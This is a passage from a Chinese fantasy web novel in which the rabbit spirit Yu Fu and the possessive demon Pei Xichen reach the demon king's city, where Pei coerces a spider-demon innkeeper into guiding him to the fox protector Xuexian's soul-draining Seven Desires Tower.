但和最初的两次都不同,他好敷衍,灵息是死的,就和息尘过往渡过来的差不离,就纯纯的灵力,一点也不是那种能纠缠着她神魂玩的小蛇。 玉扶同他理论,他就嗤她:“阿扶,十日份带我神识与魂力的灵息小蛇,你能吃得消吗?” 眼中明晃晃的嫌弃她弱。 玉扶气红了眼,和说好的完全不一样,但谁让她弱呢,所以,她已经单方面三日没有和他说话了。 有鸟妖在,她倒也不无聊,可要是一直这样下去,他下次更克扣她怎么办? 玉扶拉了拉他袖角,没话找话地问他:“鸟妖说的妖王好厉害,阿裴你听说过吗?” 裴息尘单手枕在脑后,空出的那手摆了摆,从玉扶手中扯出了衣袖,嗓音又懒又淡:“没听过。” 他好冷淡,玉扶有些自讨没趣,可明明是他骗了她。 他真的坏,说话不算数。 她都主动要与他和好了,他还这样拿乔! 如果是息尘的话,才不会这样。 玉扶咬着唇,越想越觉得委屈,背过身抹眼泪,动静窸窸窣窣的。 裴息尘再躺不下去,支腿坐起,恰能看到她抽搭搭发抖的肩膀,她这么小,可怎偏这么能哭? 吓到要哭,生气了要气哭,委屈了也要哭…… 裴息尘觉得该治一治她这说哭就哭的毛病,他扯过她的臂,压下脸,沉声恐吓:“再哭,我就吃了……” “你”字还未吐出,“啪嗒”地一滴泪先落到了他手背。 她的泪水总不是那种又凶又急地往下掉的,而是尤为含蓄、忍耐地在眼眶打转,望着人时,才倏地“啪嗒”落下一滴来。 此时,她就这样红着眼被他扯得扭过半身,眼眶中余的泪尤在憋着,忍着,就连说话也带着湿漉漉的味道:“你又想吃我了?分明说好不会吃我的。” 第27章 玉扶的化形一直是很漂亮的少女, 即便是哭,也极牵动人心。 妖也不例外。 她的泪就像一场雨,淅淅沥沥的, 在妖心里也下起来。 裴息尘渐松了抓着她手臂的力道。 可玉扶哭归哭,倒也没忘记为自己据理力争:“你已经骗了我一次, 我吃亏那么多, 哭都不让哭, 还又要吃我。” “你怎么这么不讲理!” 每说一句, 眼就虚虚地上撩, 觑裴息尘一眼,嗓音也弱弱的,带着哭腔, 瞧着很是胆怯。 可真胆怯, 就不会指责了。 被宠坏了的兔子,在试探他的底线。 他慢慢露出一个轻慢的笑,都不想发火了:“我懒得吃你。” “不过,再哭就不一定了。” 玉扶眨了眨眼, 泪意收放自如地望向他, 就像是收到善意信号似的, 她又开始大胆起来,挪一点地靠近他:“那我们可以和好吗?” 裴息尘瞥了她一眼,一眼可见的浅白心思, 分明是她与他冷战,现进行不下去, 又偏想下一个十日能如约,示好得可真是无利不起早。 裴息尘牵动一下唇角,笑得理所当然:“可。” 不知为何, 他太痛快了,玉扶反有些防备起来了,除了三日前的欺骗,裴息尘简直好说话得就像没脾气。 刚开始,玉扶认为是因为他懒的缘故,可他方才分明是想收拾她的,一瞬的功夫,又对她让步了。 他的让步,就像是,有更大的陷阱在等着她跳进去。 然还来不及多想,鸟妖开始俯冲,继而平缓落地:“两位,妖王城到了。” “我可能走了?”他化为人形,目光战战兢兢地对上裴息尘。 这位杀了蛮虎的大妖,完全不知是何来历,这一路,也就那小兔妖全然没有感觉,他可时刻都如芒在背,但凡他飞得慢了,亦或休息时同兔妖离得近了一些,那冰凉凉的妖息顷刻就缠上了他的脖颈。 也真不知道小兔妖哪来的胆,方才竟还指责大妖。 他完全不想再同他们一路了。 裴息尘话都懒的说,微并指动了动,鸟妖就如得到什么赦令,一瞬冲入天际消失不见。 玉扶张了张唇,憋下了告别,她还以为鸟妖也是对妖王城有向往的呢。 “走了。”裴息尘喊了一声,率先行在前头,走向妖王城。 玉扶立即跟上。 妖王城同妖狱完全是不同的妖城,第一眼的城门就可见区别,高耸,恢弘,庞大的阵法域界连同城外的数里都囊括在内,在妖兽众多的妖域中显出不一样的明亮之感。 她听鸟妖说过,妖王威望最重时,妖域所有种族的大妖,每隔十年就要来送一次礼。 如今妖王虽不知为何不再现身,但这座城,显见的仍维持得不错,进入时,甚至不用交什么供奉,就如同修界中的一座普通城池一般热闹、寻常。 若非要寻出点不同的话,那就是—— 这里的妖比她见过的都要大胆,衣着暴露,妖形也千奇百怪。 方才从他们身边走过的一蝎虎女妖,上衣只围住了胸前的一段,下摆也都是散开的,走动间,尾巴不时从裙底探出,大片的肌肤从脚踝直到腿根皆可见。 这还算是有审美的妖,有的妖满身虬结肌肉,往上一看,是个兽头…… 玉扶看得津津有味,借鉴到不少有意思的变化。 然也是在她学习的关头,裴息尘正被一群女妖围着。 妖王城不像妖狱,这儿自由出入的女妖甚多,女妖们的审美也与男妖们颇不同。 男妖化形时,总想保留着原形中一些引以为傲的部位,殊不知,除了他们自己,真的少有女妖会欣赏。 就这样奇形怪状的妖中,突然出现一个审美极好,化形俊美又不失野性的妖,如何不惹眼。 几妖争抢着对裴息尘邀请: “这位妖君,可要去我铺中坐坐?我可为你量衣。”说着手指几乎要搭到了他的肩上。 裴息尘还没动,先有一妖推开了先才的女妖,啐道:“就你那都是兽皮的衣铺子,也不嫌腥的慌。” “这位妖君,还是去我的酒肆坐坐,我家的酒,可都大补。”说着身子靠向裴息尘。 衣铺女妖当即拉了酒铺女妖一把,互不相让地兀自争了起来,反倒便宜了余的一水妖近得了裴息尘身边。 水妖眸色潋滟地落在裴息尘身上,却不比先才两个唐突,而是顺着他的视线望去,发现他在盯着一小兔妖。 小兔妖于妖中少见的纯美,瞧着就好骗,正被几个人高马大化形只化一半的男妖围着献殷情,求偶呢。 他们逼近她,几乎要将她围得看不见。 水妖问:“妖君可是认识那小兔妖,那几个可不是什么良善的妖。” 妖王城瞧着安稳,可能于这里安生下来的,哪个不是手里头有些本事的,尤其是围着兔妖那几个,水妖还真认得,这是外城巡护队的。 妖王城分内外两城,外城多为她们这样有点本事但算不上大妖的普通妖居住,内城最大的建筑无疑是妖王的宫殿,旁的还有一些妖将与迁居而来的大妖洞府。 也正是还有颇多的大妖坐镇,外来挑战妖王权威的妖们才没有在妖王城惹出乱子,但也不是说这些妖王城的大妖就没有野心了,不过是都相互对峙着,仍让妖王城处于安稳的状态罢了。 至于外城巡护队的这些妖,平日里也多有些仗势,对新入妖王城的妖也常看碟下菜。 水妖是认定了他们欺负兔妖,只是不知身旁这个俊美的男妖对那兔妖到底是否一起的? 若真是一起的,那倒能知晓他也不是不能接近的了,妖嘛,春风一度,又不是什么稀罕事,兔妖可以,那她也可以。 水妖:“妖君不去帮帮那兔妖?” 然甫一对上裴息尘的双眼,噤了声,那一眼,肆意的杀意全是对她的不耐烦。 她在倒退,在害怕,也在发颤,蛇影缠上她的脖颈,窒息真的在到来,她开始踹不上气,唇大张着,眼眶被逼出了泪。 她快死了,可周遭就像是对她的境遇无察一般如常。 妖王城并不禁争斗,但能将妖杀得这样不动声色的,水妖还是生出了不该招惹的无边懊悔。 她伸出的手,极想同旁还在吵架的两女妖求助。 将要碰上时,却触上了一层水波一样的结界。 她彻底放弃了挣扎。 却也是这时,蛇影松开了她。 裴息尘嫌杀了难处理,视线根本没落在她身上地道:“滚。” 水妖气都没喘匀,几乎是爬着跑了。 一切不过几个呼吸的功夫,裴息尘目光重新落在玉扶身上。 帮? 他可没瞧出玉扶被欺负,他见她同男妖们唠得还挺开心的。 这已不是第一次了,同鸟妖亦如是,她好像天生就会讨人喜欢,只要她愿意。 裴息尘想的有些不悦,他该将她抓回来,好让旁的妖知晓,这是他的小兔。 可又经不住地比对,同样是怕他,在他面前发抖流泪…… 怎旁的妖,他就一点感觉都没有。 而玉扶,他有时会觉得她害怕得有趣,哭起来也怪好看的,还想尝尝她的泪带了什么真实的情绪,当然,有时也会对她哭起来感到不耐烦,想让她赶紧别哭了。 许是抢来的都比较特殊些罢。 他抬步,已不准备再放任她。 玉扶也恰从妖挤出来的缝隙中瞧见了裴息尘,她虽然被围着,但并没有被欺负,这些巡城的妖要送东西给她,她拒绝了,不过玉扶第一次来妖王城,便多同他们多问了些问题。 此刻,她绕开这些化形化一半没审美的男妖,跑向裴息尘:“阿裴,我同他们问到狐妖的下落了!” 玉扶兴冲冲的,满是邀功的显摆。 裴息尘为她撩了撩落到额前的发,古怪地笑:“阿扶,我从未说过要寻狐妖。” 语气阴冷得近乎妖冶。 玉扶僵得动都不敢动,脑子不断地回想,回想每一句说过的话,有息尘的,也有裴息尘的。 然后惊觉,虽然不管是息尘还是裴息尘都说要来妖域,可从始至终,明确说过要寻狐妖的只有息尘。 而阿裴,她虽问过他为何要去妖域,但他从未回答过自己。 玉扶头皮又在发麻了,她真的很为难,他们都说是同一个人,可行为态度表现出完全相互排斥的两个人。 长得又一样,谁能时时刻刻记得他们分别说的话啊! 玉扶崩溃得瞳仁都呆滞了,脑筋飞快转着:“我猜的。” “那你猜错了。”裴息尘毫不迟疑地否定。 “可我有听见你在数狐妖剩余的尾巴。”玉扶小声辩解,她敢肯定,阿裴说不寻狐妖,但狐妖一定是惹到了他的。 不然大老远一个、两个都跑妖域做什么? 玉扶见他半天没吭气,默默离他远了一步,绕过那些会让她头皮发麻的问题,直击主题:“那我既然已经问到了,你到底想不想知道呀!” 裴息尘: “说来听听。” 玉扶哼哼地看了他一眼,她就知道,他分明也想知道的,就是故意要抓她错处。 总这样,冷不丁地,不是要她在息尘和他之间,做出甄别,就是做出选择。 心眼小的很。 “哼什么哼,不想说就别说。”裴息尘恼了她,真是惯出来的,动不动就哼哼哼,跟小猪一样,他迟早收拾了这色兔子。 玉扶又重重哼了哼,才顶着裴息尘沉下的脸开始说:“那狐妖还真就叫雪仙。” “是妖王现下的护法,妖王不曾出面的这百余年,都是由她在妖王城代掌职责。” “她平日里住在内外城交界的七欲楼中。” 玉扶独自在说,看一眼裴息尘,见他根本不像在听的样子,拉住了他衣袖。 裴息尘扭头不解看她。 “你不能走慢一点嘛,我说话的时候,跟不上你。” 裴息尘低头,看着她缺了绒球的发顶,嗤地笑了,腿短确实跟不上他。 也难怪会落后被不相干的妖缠上。 “行,你继续。” 第28章 裴息尘大发善心地放慢了步子。 玉扶再说话时, 跟上他就不费力了:“我打听到那狐妖前些日子刚回了妖王城。“ “听说受了伤,现在只剩下了三条尾巴。” 玉扶当然知道狐妖是为什么受伤,也肯定是后来的人修又断了狐妖一条尾巴。 故而, 嗓音中全是幸灾乐祸,上翘的尾调, 愉悦的很。 光是听着, 就可见的记仇。 裴息尘也不催她说快点, 似觉得就这样慢慢听, 耳朵还怪舒服的, 比平时哼哼哼的可爱多了。 不过,玉扶也没乐多久,就担忧了起来:“其他的我就没怎么打听到了。” “她要是发现我们也在妖王城, 会不会来寻我们麻烦啊。” 三条尾巴, 她不会认为息尘打不过,可是,狐妖还是妖王护法的话,在这座城的权利就可大了。 裴息尘不爽地扫玉扶一眼:“你觉得我会怕?” 他十足的坏人气质, 尤其是用冠束上一半马尾时, 微卷的发很不逊地蓬着, 稍收一点懒散,就于贵气中掩不住的野性。 他当然是不怕。 玉扶弱弱扫他一眼,收回视线道:“我怕。” “你不怕我却去怕他们?”裴息尘停了步子, 不痛快地眯了眸:“看来我是对你太好了。” 玉扶简直惊了,他哪里对她好了, 动不动就对她冷笑,威胁要吃她,还给点甜头后就骗她, 步子走的也大,一点也不管她跟的吃不吃力,还有,用想把她当坐骑的眼神看她…… 坏得没边了! 怎么好意思说出对她好的? 要不是他用的是息尘的身体,要不是他不放她跑,也要不是他诱惑她,她才不跟着他! 裴息尘被玉扶震惊抗拒的神情刺激,单手捏住了她的脸:“色兔子,你在想什么?你还有什么不满意?” “是我亲得你不舒服?” “还是我给你灵力不如别人?” “没有我,那个废物能带你走出妖狱?” 许是玉扶脸蛋的手感好,他说一句,就揉搓似的松一下又挤一下她脸蛋,最后将她的唇挤成了夸张的嘟起,跟吐泡的金鱼一般滑稽,他乐了地道:“阿扶,你是我的小兔子,谁敢伤你一根毛,我都要他——” “不得好死。” 森森然的几个字吓得玉扶都在他手下发抖了。 裴息尘却又笑着低头,夸奖道:“对,就是这样,阿扶,就算是要怕,也该是这样怕我就好。” 他简直有病!偏玉扶还反抗不了,艰难于他手中点了点头。 裴息尘啄了一口她夸张嘟起的唇,松开了她脸蛋,又心情很愉悦地走在前头。 玉扶鼓起腮帮活动了一会,才消散了他留在身上的压迫感。 适时,裴息尘又驻足,妖孽地瞥眼过来,玉扶脸也不揉了,立马跟上,乖巧得不像是兔子精,像是鹌鹑精。 妖王城极大,他们漫无目走一会,不用刻意打听,就听到了不少消息,妖王城的内城除了雪仙这个护法以外,还有三个在妖域极有影响力的妖将,背后皆有一整个种族的支持。 与其说妖王城现下的安稳是妖王的缘故,倒不如说是这些大妖们相互平衡的结果。 前任妖王已经占据妖王的位置太久,若她仍在,实力也仍在,那众妖依旧尊她为王也无不可。 可自从两百多年前开始,妖王就不曾真正出现妖前,每每都是巨大的蛇影投现,起初就曾有妖发现妖王的虚弱,蛇形像是在痛苦。 然而,那时还是妖王治下极盛之时,质疑很快被压下。 后来,妖王蛇影再现,妖王城中死了数位排得上号的大妖,其中不乏是最先质疑有异心的妖。 自此,妖王城中的大妖们安分了很长一段时间。 也是这近百年,他们才再次开始质疑起妖王的存在,她实在不出现太久,距离上次显形过去了至少有百十年,且蛇影明显地出现些古怪的形状。 不像是蜕皮,更像是吞吃了太多奇形怪状的妖物,即将崩溃的形态。 大妖们不是没有怀疑,而是,比起怀疑,比起去探究妖王到底发生了什么,倒不如在明确知晓妖王不行下,先扩张自己妖族的势力。 玉扶本只是想再探听一些同雪仙相关的,没想热心肠的妖会从头到尾地为外来的他们科普,当然,如果这个女妖不总把目光黏在裴息尘身上就更好了。 这是息尘的身体呢,阿裴不能这样乱和其他女妖眉来眼去! 玉扶往前一步,挡在了裴息尘身前。 女妖轻笑一声,这小兔子还怪护食,她故意忽视玉扶,对裴息尘邀请:“这位妖君,还想知道什么,不若我为你安排个房间,我们细谈。” 女妖名蛛娘,开的是一家客栈:“我在此开了几百年客栈,这城中的事,不敢说全知道,但知道个七八成还是有余的。” “就拿这内城的三大妖族与雪仙护法来说,他们之间的联系可乱了呢。” 蛛娘用羽扇遮了唇地娇笑,眉眼中全是勾子:“妖君难道不想知道雪仙护法为何独住在内外城的交界吗?” 裴息尘推开身前的玉扶,道:“要两间房。” 他花钱一点节制也没有,满满一袋的妖丹全抛给了蛛娘。 里头都是往妖王城来的这一路,休息时杀的一些妖兽,鸟妖不敢昧下,每回掏出来处理干净了交给裴息尘。 还是玉扶同鸟妖闲话,才知晓的妖丹可以在妖王城中使用,玉扶死死盯着被他爽快给出的妖丹,嘴巴撅得老高,尤其是听到他要的是两间房,更是担心地拉住了裴息尘:“你让我一个人睡吗?” “阿扶,你是母兔子,我是男妖精,授受不亲,当然是各睡各的。”裴息尘揪开了玉扶的手道。 玉扶快哭了,原先息尘跟她分房也用这个理由,可阿裴跟她亲都亲过了,在妖狱的最后一晚,她偷跑到他房间,也不见他拒绝,怎现在到了妖王城,见了旁的女妖,就要与她兽兽不亲了。 她看他分明是想和其他的妖,兽兽亲一块去。 玉扶倔强地盯着他的胸膛,这又不是他一妖的身体,她要在息尘不在的时候,看住了阿裴。 “小兔妖,男人可不是你这样胡搅蛮缠守得住的。”蛛娘也拦了一拦玉扶,又对大堂中的帮工小妖喊:“没眼力见的,还不去取了两间房匙来!” 玉扶小脸刷地红了又白,她的学习能力向来不差,虽然在很多时候还是会感到懵懂,可她就是知道,胡搅蛮缠,还有没有眼力见,都是在点她。 玉扶伤心地停住步子,看向阿裴,他还是没有让她一起,也没有帮她说蛛娘。 他一定是认同蛛娘说的话了。 玉扶收了眼,不看他们,生气地从他们中间过,将二妖都撞到旁去,兀自地挑了一间靠里的房:“我要这间。” 蛛娘揉了揉了肩跟上,这小兔妖力气还怪大,气性也不小,这位妖君竟能忍? 裴息尘还真能忍,十日没到,他不准备让欠收拾的兔子占到他便宜,他示意道:“房匙给她,我要她旁边那间。” 玉扶闻言,重重地对他哼了声,夺过房匙,用力阖上门,关了外头二妖一鼻子灰。 蛛娘吃吃笑道:“妖君这般照顾小兔妖,莫不是妖君的妹子?” 她话中全然的打趣,半点不见得真是将他当兔妖的兄长,更像是在用玉扶与他调情。 蛛娘看不透裴息尘的修为,不过,她也不惧,妖王城就是再厉害的妖来了都要收敛着些,化形得这般妖孽野性,不撩拨一下,倒是可惜的很。 裴息尘眸子冷下,慑人的锐意顿现,瞧见玉扶靠在门后偷听的影子,才复收敛点地入了旁边的房,蛛娘紧跟其后。 门合上的声音,听得玉扶牙都要咬碎了。 她反复地想闯入隔壁,去警告阿裴,不能用息尘的身体跟别的妖乱来。 可一想到裴息尘不反驳女妖说的话,心里就堵得慌,她才没有胡搅蛮缠,胡搅蛮缠的分明是他! 她赌气地忍耐,贴到中间隔着的一堵墙上听隔壁的动静。 想着,如果他们只是说话,她就大度一点,如果阿裴用息尘的身体乱来,她就冲进去保护。 然而,也不知是不是这个房的隔音太好,玉扶竟然一点声音都听不见,她的耳朵分明很灵的。 蛛娘跟同裴息尘入了房,自发地合上门,妖嘛,寻欢作乐再正常不过,难的是,遇上极心仪的,至于是不是别人的,都不要紧。 她转身间,笑意都还不曾收敛,蓦地就被极大的力惯倒钉在门扇之上,疼痛传遍全身,眼珠都不曾反应过来地一上一下凝滞。 但很快,她的额上还有眼下,又分别冒出几双眼睛,帮她极快地弄清现状,躲过了下一击,整个妖身以一种极诡异扭曲的姿态攀在房梁与屋柱之上,八只眼全向下盯视着裴息尘: “唤你一句妖君,真当可以在老娘这儿为所欲为了不成?” “老娘愿意睡你,是看得起你!” 腹部同时射出诸多利刃一样的丝线攻击向裴息尘。 因是专为妖城中的妖准备的客栈,房间内部的空间大到足以容下妖化形后的活动,裴息尘躲了几下蛛丝,再看蛛娘已然妖化更甚,除了一个八只眼的头瞧得出点人形,大布袋一样臃肿的腹部不断嚣张地吐着丝,几只前足更是拥向他的来。 嚣张又丑陋。 裴息尘失了周旋的耐心,凶剑一闪而出,跗节砍落,蛛娘发出哭嚎一般的怒吼。 凶剑本就不常被放出,被这声吼惊得像是才瞧清了砍的是什么玩意,受到惊吓般地脱离了息尘,“哐哐”一阵乱砍。 肢节乱飞,剑光闪得只能瞧清剑柄尾部拉出的一团白绒。 凶剑是真的很喜欢从玉扶那抢来的白绒球了,裴息尘没收下,它径直地昧下了,也无剑穗,但就如细绳坠在尾端一样,剑光每闪一下,绒球就跟着拉出一条云痕一样的线。 他嗤了一声,等了片刻,握住了飞回的剑柄。 剑柄在他手中不断地颤,活像是见了鬼的委屈,跟他传递着砍的妖怪好丑、好吓剑啊,尾部的白绒球也附和似的,一弹一弹。 而被砍的蛛娘,原形缩小了一大半,腹部全是剑痕,就连吐丝的纺器都差点被整个切了,趴伏着向外逃。 然触到房门时她才惊觉,这男妖不止修为不可测,竟还擅长结界术,从踏入起,此间房就已成了她的囚笼。 她痛苦地化为人形,开始求饶:“妖君,求你,别杀我我知道错了!” “你想知道什么,我都可以告诉你!” 到了这一刻,她若还不知道此妖为何要与她独处,她就白于妖域活这些年了,她一时见色起意,说了太多外城的妖本该不知的消息,她自以为是猎手,其实早就成了猎物。 既然技不如人,她也甘愿用所知的来作交换。 她忍着痛缓慢坐起,多余的眼睛从面上隐去,恢复了先前的女子化形,受伤的缘故,面容较之前反倒还多出来些伶弱的美感。 微向上掀的眼,即便落到这境地,也仍克制不住地将目光落在男子身上,妖王城来来往往的妖,她不知见过多少,可眼前男妖的化形,实算得上佼佼,身量修长,一举一动筋骨舒展间,贵气又野性。 才看一眼,凶剑直插至眼前,剑气悍劲得险些削去她的鼻。 她本能地后退一点,也以为接下来会被问询内城相关的问题,没想,听到的第一句话竟是: “本君养的兔子,还轮不到你来置喙。” 蛛娘:—— 第29章 玉扶露出的伤心神色, 裴息尘不是没有看见。 不过,要钓一只已经上钩的兔子,总是不能太心软的。 说好的十日, 怎就许佛子圣洁,拒绝她, 就不许他也同她分房? 他要的, 是玉扶当初怎么讨好佛子的, 就该如何地想着法地来讨好他。 但这不代表有没眼力见的妖就能当着他的面欺负玉扶。 插于蛛娘眼前的凶剑, 蓦地又下压了寸许。 蛛娘能屈能伸, 既知症结是在兔妖,连忙道:“我这就去同兔妖道歉。” “让我被她羞辱也可,只求妖君放过我。” 蛛娘又在垂泪。 裴息尘既收拾了她, 也不在乎她还是否道歉, 不过,见她求饶态度尚可,倒是没有结果了她。 凶剑仍直插蛛娘跟前,慑得她一动也不敢动, 反观裴息尘, 又犯了懒地扯来一张椅, 坐下,辨不出喜怒地往椅沿一搭,道:“说罢, 都知道什么?” 即便他姿态再闲懒,蛛娘也不再认为自己有一战之力, 这妖打她,根本没用多少力。 她猜测,这外来的大妖, 或许也是为了妖王城的虚实而来,当下有心卖几分好,不再隐瞒地开始从内城的几位妖将说起。 内城有三大妖族,分别代表的是妖域内最强也最大的三个种族,狐族、鹰族还有狼族。 这三大妖族或多或少都有些远古妖神的血脉,在妖王不曾一统妖域之前,一直都是这三大妖族分割着整个妖域。 也正因这三族的难管,妖王一统后,干脆地将他们各族有些实力的大妖,全抓到了妖王城一并封了妖将,在眼皮子底下地看着。 如今,妖王不显,这三大妖族重新起势,都铆足了劲地想自成妖王。 但三大妖族实力实在差不离,也皆担忧若其中两方打起来,让第三方捡了便宜,故而,都在等着妖神古墟开启,若能从中得到传承,其他两族也便不足为惧。 蛛娘因伤口疼,总说得很慢,可她仍留出一分心来观察裴息尘的面色,怪道,怎连妖神古墟都还不感兴趣? 甚至显见的不耐烦,她一时不知该不该着重提及妖神古墟。 这传说中的地方,没有妖没听过。 只是到底在哪,早就在一代一代稀释的妖族血脉中失去了传承。 便是内城的大妖们也是近些年才寻到,更别说到底费了多少功夫才研出开启之法。 她也是凭多年的经营,兼与鹰族的少主有过些情缘,方对妖神古墟听得一些内城大妖才知的消息,她咬咬牙地放出最后的底牌:“妖君若能放我,我可为妖君同鹰族作保,引荐妖君也入妖神古墟。” 裴息尘眼珠终于转了转,看了蛛娘一眼,难怪嚣张到要强睡了他,原来还有靠山啊,可到底是引荐,还是借刀杀人,谁知道呢? 他动都不带动地道:“说狐妖。” 蛛娘哽一下,不是在乎兔妖吗? 绕来绕去怎又到了狐妖身上? 白瞎了她放出的妖神古墟消息,懊恼地遮下眼道: “雪仙护法出自狐妖一族,同狐族的少主雪漪是同父异母的姐妹。” “只是,关系极差。” 蛛娘想了想,连同雪仙护法昔年的秘辛也一并说了:“雪仙护法并非天生九尾,她血统不纯,狐尾天残,早些年于狐族中,颇受欺凌。” “后来不知怎的,被妖王带到了身边当个妖侍,常跟同妖王外出游历。” “渐渐地,不管是妖王身边的事,还是妖王城内的事,雪仙护法皆有接手,因这份独特,她于妖王城中的地位也日渐特殊了起来。” “再有一日,妖王城中就为她建起了一座楼,听闻是在外得了修复天残狐尾的法门,需收集妖的七情与六欲来辅助修炼。” 裴息尘挑了挑眉,他有听过炼心的修士需勘破七情六欲,可从没听过这些还能帮妖长出尾巴。 “靠这一座楼,雪仙护法补上了先天的残缺,也在妖王城有了势力,如今,她独立狐族之外,自成一派,坚定妖王派系,手下也聚集了不少妖将。” “同各族都有不少往来。” 毕竟,若是妖王真的不在了,雪仙护法手中的势力是个变数,就是狐族,如今也不少有意同她修好,否则,也不会任由她的妖楼在妖王城中吸魂夺魄了。 蛛娘并瞧不透裴息尘是哪一类目的的妖,她略隐瞒了一点实情地道:“我该说的都说完了,旁的,也再不知晓了。” “妖君可能放了我了?” 裴息尘站起了身,没说要放,只是拔起剑地道:“你说的那座楼,带我去。” 雪亮的剑光照亮他的眼,既漫不经心,又偶有一瞬,闪过摧金断戟一般的狂放杀意。 他是想杀雪仙护法! 蛛娘没有一刻如此肯定,这妖疯了,这里可是妖王城! 她想过他了解几大妖族,是有想投靠的妖族,也想过他或是想凭借难得的化形,成为雪仙护法的入幕之宾,但万万没想到他是个狂妄的杀神! 就雪仙护法的地位,还有同妖王和三大妖族的联系,他竟想杀她? 她不会带这个路的! 蛛娘倒退着冲撞房门,却被弹回撞上裴息尘的剑尖,剑尖压制着她跪倒,甚至挑入她的肩胛。 “本君不是让你做选择。”裴息尘对妖君的尊称还算满意,就连自称也越发顺口。 邪气肆意的声直达耳膜,蛛娘清楚感知他是笑着说这话的,简直是—— 疯子! “我带你去!”蛛娘尖叫屈服。 一声吼出,“刺啦”的剑刃抽离皮肉声也随之撤出,蓝色的蜘蛛血浸染了蛛娘的衣衫。 她捂着伤口,费力起身,不知第几次后悔招惹了这种有病不怕死的妖。 * 玉扶终于听到了隔壁开门的动静,装作不经意地开了一道门缝。 裴息尘就立于门外,子夜一样的眸子垂视着她。 玉扶吓了一大跳,关门,却恰被裴息尘的手卡住。 玉扶推不动,也不敢推,为自己辩解:“我才没有偷看你。” 又不放心地观察他,观察他有没有用这具身体和其他的妖乱来。 她从下往上,又从上往下,眼皮都不掀地将能扫的地方都扫了,衣服都很干净,也没有褶,不过这不能代表什么都没发生,毕竟亲亲又不要胸膛以下。 玉扶有经验。 “啧,要看就大胆点看。” 裴息尘用指节顶了玉扶的额一下,迫得她抬头。 他指节带了力,一下就痛得玉扶捂头,不过,也确实看清楚了,唇干干的,一点水渍也没有。 玉扶不知怎的,就是松了好大的一口气,但小脸仍绷得紧紧的,就算阿裴没和其他的妖亲亲,那也是帮其她的妖了,玉扶记仇的很,兽兽不亲的话,她也不邀他入房,挡在门口等着他说话。 “妖君,可能走了?” 蛛娘的声音,也不知是有意还是无意,于玉扶看不到的角度传来。 玉扶垮了脸,偏裴息尘还真被蛛娘催动了,塞给玉扶一面镜子:“我出去一趟,不方便带你,你别乱跑,等我回来。” “答应入妖域给你的镜子,你应当会用。” “我在外给你布一层结界,里头,你自个用镜子再布一层幻境再入睡。” 裴息尘向来不耐烦又懒,一口气语速加快地说着叮嘱,玉扶还没反应过来,就被往房中推了推。 他帮她把门阖上了!? 然后,她连他们离开的声音都听不见了。 玉扶又震惊又生气,捏着镜子的手紧了又紧,恨不得抛出去砸阿裴。 可她根本看不到他们的去向,甚至,她被锁在里头了。 是的,锁了,那层结界。 玉扶方才就试过,出不去。 什么不方便带她,分明就是去快活了! 玉扶知道的很,她师姐们就是这样拒绝跟同她一起下山的—— “阿扶,你是去找情人,带着个长辈还怎么找?” “你难不成见过我们作伴一起找情人的吗?” “这种事嘛,就是要独身才好发挥。” …… 所以,玉扶才不信裴息尘的“有事”。 有什么事是不能带她,反而能带一个今日才认识的蜘蛛精的? 阿裴一点都不可靠,他爱华服,爱强扭瓜,就好比,不能吃肉喝酒,非要尝试,她不愿意跟着他,也非要带上她…… 他还没羞耻,比她还要妖精。 他根本守不住自己! 玉扶一直是这样认定的,心底也异常的焦躁,一面觉得他的身体不是只属于他自己,还是息尘的,她该帮息尘看顾着。 一面又觉得,应该是她的。 玉扶无处发泄的气愤,化为了巨大的兔形身体,在房中肆意地冲撞,震动,企图通过破坏来破开结界。 然,整个客栈连同后头的客院,都被玉扶的动静震得晃动起来,偏就她房中的结界牢固得纹丝不动。 楼下的大堂中,小妖们躲到了桌下:“这是住进了什么妖,怎么动静这么大?” “好像是兔妖。”送房匙的小妖回想。 “兔妖能有这么大动静?”有妖不信,眼见地又有其他房客因动静离开,连忙高喊:“别走,房钱还没结!” 然而,那跑掉的妖一听到房钱,跑得越发快。 桌下小妖商议:“谁去将那兔妖赶走?” “这样下去,客人都被赶走了,掌柜的回来要剥了我们皮!” 一鱼鳍耳的小妖笨笨地摇头,重复着蛛娘离开前的吩咐:“掌柜的说,要照顾好今日新住入的客人。” “兔妖是今日入住的。” 无解下,每隔片刻,就有一房客受不了震动地跑掉,也每隔片刻,楼上就要大闹一下。 直到玉扶累了。 * 妖王城,内外城交界。 楼叠架着楼,灯连着灯,繁华溢彩至极。 “那就是七欲楼。”蛛娘指着楼道。 裴息尘没有看她,只是平静瞧着七欲楼,光滑的虹膜滑过兽类捕猎一般的异光。 是真狂妄的疯子! 蛛娘倒退一步,并不想被牵连,借口道:“妖君,我亲近鹰族,不便踏入七欲楼,可能放我离去?” “你骗了我。” 突兀的话语。 蛛娘的脚却霎时被钉在地上一般。 她分明想立即跑,却如何都动不了,身畔宛如有密密麻麻的爬蛇在锁定着她。 “七欲楼还有秘密。”裴息尘微微偏过眼,逶迤的发向肩后滑落,笑着道:“你同我一起进去。” 玉扶经常觉得裴息尘笑得像坏蛋,但他真当坏蛋时,笑意总是更森、更邪、也更寒,一旦被盯上,那便是不死不休。 蛛娘在一瞬,深有体会,她张口,愿意全盘吐露。 然,裴息尘并非真想听她说,他不过是不放她回去找玉扶麻烦,他抽不出手来处理会发生在玉扶身边的意外,所以,有心眼的妖还是拿来探路算了,就算死了,也是她故意隐瞒的活该。 蛛娘的影子中冒出数条与她身躯融为一体的细蛇,它们缠上她的脚踝,帮助着她走向七欲楼。 她的喉,也卡着尖锐的獠牙。 她踏入了七欲楼。 甫一进入,全然一个浓缩的声色之所,赌桌、歌舞、美酒佳肴…… 世间所能概括出来的声、色、欲似都能在此寻见。 这样满足妖天性的场所,蛛娘却异常的抗拒。 裴息尘终于给了她一个开口的机会。 蛛娘能感觉到盘于脖颈的蛇,松开了尖牙,她脱力一般喘气,不敢再有隐瞒:“妖君,这座楼可夺人魂念。” 果然如此,裴息尘神识散于楼中,能感觉到,但凡是入了此楼的妖,所有的情绪、欲念都会成倍成倍地放大。 喜、怒、哀、惧、爱、恶、欲,但凡有一欲,大到脱离身体,魂念就再离不开这座楼。 魂念并不等同神魂,但可算妖之精气的一种,不至妖死,不过,轻则萎靡一段时日,重则,寿数减少。 损妖利己的修炼之法。 而脱离出来的魂念去了哪,裴息尘的神识直往顶楼闯去,他慢慢露出一个轻慢的笑: 找到了—— 别有用心唤醒他妖性的狐妖。 第30章 七欲楼最顶层, 水雾弥漫,偌大的一层空间,除了帷帐后的一张榻, 竟只有分道两边的巨大水池。 不断有魂念从池中析出,飘向帷帐后。 倏地, 雪仙从魂念中感到异常多的恐惧情绪—— 